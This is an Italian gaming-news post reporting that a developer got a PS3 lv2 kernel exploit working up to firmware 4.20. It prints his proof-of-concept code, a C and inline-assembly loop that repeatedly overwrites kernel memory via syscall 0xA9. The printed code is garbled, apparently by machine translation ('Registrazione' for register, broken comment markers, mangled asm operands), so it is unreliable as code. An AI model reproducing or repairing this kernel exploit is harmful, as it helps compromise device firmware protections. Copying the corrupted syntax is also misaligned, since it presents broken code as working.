KDSBest pubblica il lv2_exploit per v4.20

In giornata vi abbiamo postato la news in cui Naehrwert ha scoperto un exploit del Lv2_kernel della PS3 (LEGGI ARTICOLO). La news ha già fatto il giro tra vari sviluppatori. Sviluppatori che si sono messi in moto per studiare cosa è veramente ottenibile con tale scoperta.

Il primo a parlare è KDSBest, altro noto developed, che, utilizzando le informazioni rilasciate da Naehrwert, ha annunciato che l’exploit funziona su firmware 4.20, ma non su 4.21.

 Di seguito le dichiarazione dello sviluppatore.
Ringrazio Naehrwert per la pubblicazione della news sul lv2_kernel, ma ora tocca a me!!!! Ho provato il sistema su quasi tutti i firmware Sony e ho scoperto che funziona fino al 4.20. Sul 4.21 non ha funzionato, ma credo che nei prossimi giorni riuscirò a farlo andare anche sull’ultimo firmware. I problemi che riporta Naehrwert non li ho riscontrati, l’unica cosa che non funziona è che la console si blocca quando vado a sovrascrivere il dump del lv2.
Di seguito vi lascio un esempio del codice utilizzato, per tutti gli sviluppatori:

Codice:

/ / Compile: PPU-gcc-o kds2.c kds2.elf
/ / O: PPU-LV2-gcc-o kds2.c kds2.elf

Registrazione unsigned long long payloadHolder2 asm (“r21”);
Registrazione unsigned long long payloadHolder asm (“r20”);
Registrazione unsigned long long stackpointer asm (“r1”);
Registrazione unsigned long long contatore asm (“R25”);
Registrazione unsigned long long bufferStackpointer asm (“R26”);

volatile__ __ int main (int argc, char * argv [])
{
/ Stack pointer / backup
bufferStackpointer = stackpointer;

payloadHolder = 0x3960024F3960024FUL;
payloadHolder2 = 0x4400000244000002UL;

/ / Contatore incrementale
contatore = 0x00;

/ / Gioca con tale indirizzo fino al panico viene eseguito, mi manca il tempo todo modo
/ / Aggiunge sempre 2 o 4 ad esso, vorrei provare 4 o 8 … bla bla si otterrà l’idea
stackpointer = 0x8000000000000100UL;
doItAgain:
/ / Carico utile KDSBest
/ / Prepara per il nostro Syscall

asm (“li r0%, 0x0”);
asm (“r3% li, 0x6”);
asm (“li% r4, 0x1”);
/ / Li r11, 0x24F -> PANIC
asm (“mr% r22, r20%”);
asm (“mr% r23, r20%”);
asm (“mr% r24, r20%”);
asm (“mr% r27, r20%”);
asm (“r28% mr, r20%”);
asm (“mr% r29, r20%”);
asm (“mr% r30, r20%”);
asm (“mr% r31, r20%”);

/ / Stack Pointer = Build Indirizzo di LV2
stackpointer + = contatore;

/ / Syscall 0xA9
asm (“li% r11, 0xA9”);
asm (“sc”);
contatore + = 0x04;

/ / Scriviamo sc
asm (“mr% r22, r21%”);
asm (“mr% r23, r21%”);
asm (“mr% r24, r21%”);
asm (“mr% r27, r21%”);
asm (“mr% r28, r21%”);
asm (“mr% r29, r21%”);
asm (“mr% r30, r21%”);
asm (“mr% r31, r21%”);

/ / Stack Pointer = Build Indirizzo di LV2
stackpointer + = contatore;

/ / Syscall 0xA9
asm (“li% r11, 0xA9”);
asm (“sc”);
contatore + = 0x04;

if (contatore <0x1000000)
goto doItAgain;

stackpointer = bufferStackpointer;
return 0;
}

La storia non finisce quindi, il progetto va avanti, chissà dove ci porterà.

Stay Tuned!

(Visited 16 times, 1 visits today)

3 commenti

    1. Beh, da una parte sicuramente, ma lavorare nell’ombra è abbastanza complicato… o sei un genio, che riesci a fare tutto da solo, oppure la scena ha bisogno di condivisione e aiuto da parte di tutti

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *